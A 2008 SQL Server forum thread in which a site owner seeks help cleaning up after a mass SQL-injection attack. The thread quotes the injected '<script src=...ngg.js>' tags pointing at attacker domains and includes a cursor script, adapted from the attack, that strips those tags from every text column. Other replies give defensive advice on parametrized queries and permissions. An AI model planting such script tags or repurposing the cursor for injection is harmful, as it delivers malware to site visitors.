Help! My sites been hacked - need custom function

Please start any new threads on our new site at https://forums.sqlteam.com. We've got lots of great SQL Server experts to answer whatever question you can come up with.

All Forums

General SQL Server Forums

New to SQL Server Programming

Help! My sites been hacked - need custom function

Author

Topic

ethoemmes
Starting Member

3 Posts

Posted - 2008-07-03 : 18:05:03

Hi,

My site (and associated SQL Server DB) has been hacked. The ****** seem to have got into my DB and inserted the following at the end of every text field.

quote:
<script src=http://www.upcomd.com/ngg.js></script><script src=http://www.upcomd.com/ngg.js></script><script src=http://www.testwvr.com/ngg.js></script>

I'm not very experienced with SQL Server and was wondering if someone could help me write a function to go through every table and field and strip out the bit of javascript above?

Will this be possible? Do I need to give any other details?

Many thanks for looking

E

jezemine
Master Smack Fu Yak Hacker

2886 Posts

Posted - 2008-07-03 : 18:13:17

have a look at the REPLACE function in BOL.

elsasoft.org

ethoemmes
Starting Member

3 Posts

Posted - 2008-07-03 : 18:16:39

Excuse my ignorance but what is BOL?

Thanks for your quick reply - I'm just checking out the replace function now.

E

jezemine
Master Smack Fu Yak Hacker

2886 Posts

Posted - 2008-07-03 : 18:38:05

BOL=books online

it's the manual for sql server. here's the page on REPLACE: http://msdn.microsoft.com/en-us/library/ms186862.aspx

example:

update mytable set mycolumn=replace(mycolumn,'replace this','with this')

elsasoft.org

SwePeso
Patron Saint of Lost Yaks

30421 Posts

Posted - 2008-07-04 : 00:32:30

And to avoid this in the future, replace all ad-hoc questions with parametrized queries.

E 12°55'05.25"
N 56°04'39.16"

GilaMonster
Master Smack Fu Yak Hacker

4507 Posts

Posted - 2008-07-04 : 02:45:05

And lock down the databse security so that the web site doesn't have rights to go and update random tables. I would suggest using only stored procedures for data access and modification and ensuring that the web user has only execute rights on the procs and nothing else.

--
Gail Shaw
SQL Server MVP

ddcohen
Starting Member

2 Posts

Posted - 2008-07-07 : 07:00:01

I just finished cleaning this up on my site. I found the following page very useful:
http://www.bloombit.com/Articles/2008/05/ASCII-Encoded-Binary-String-Automated-SQL-Injection.aspx

I modified the attack script, as found on that page, and used it to clean up the damage:

---------------------------------

DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)

BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = REPLACE([' + @C + '], ''<script src=http://www.lokriet.com/ngg.js></script>'', '''')')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END

CLOSE Table_Cursor
DEALLOCATE Table_Cursor

--------------------------------------------

Obviously, you have to replace "http://www.lokriet.com/ngg.js" with whatever URL for the malicious script was put into your database.

ethoemmes
Starting Member

3 Posts

Posted - 2008-07-07 : 13:34:17

Thanks ddcohen - much appreciated.

I've just noticed that the SQL injections all use different URLs so the simple find and replace doesn't clear all entries.

Can anyone help me use a wildcard in the following line to search for all <script src= ????????? </script>

quote:
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = REPLACE([' + @C + '], ''<script src=http://www.lokriet.com/ngg.js></script>'', '''')')

Many thanks for everyones help on this - I'm slowly learning SQL and it a great help to see how everyone else does things.

E

ddcohen
Starting Member

2 Posts

Posted - 2008-07-07 : 14:21:44

One follow-up note:

As I discovered after my initial post, the "replace" statement will not work on any nText columns. For those, you have to cast to nVarchar (available from SQL Server 2005), do the "replace," and then cast back to nText.

Subscribe to SQLTeam.com

SQLTeam.com Articles via RSS

SQLTeam.com Weblog via RSS

- Advertisement -

Resources